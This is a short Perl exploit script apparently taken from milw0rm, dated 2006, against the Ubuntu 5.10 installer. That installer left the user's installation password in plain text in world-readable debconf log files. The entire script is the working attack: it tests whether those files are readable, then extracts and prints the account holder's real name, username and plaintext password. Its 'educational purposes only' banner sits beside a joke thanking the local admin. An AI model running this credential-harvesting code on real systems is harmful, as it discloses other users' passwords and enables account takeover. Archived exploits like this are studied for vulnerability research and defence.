Ubuntu 5.10 Installer - Password Disclosure

#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
  my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
  my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12]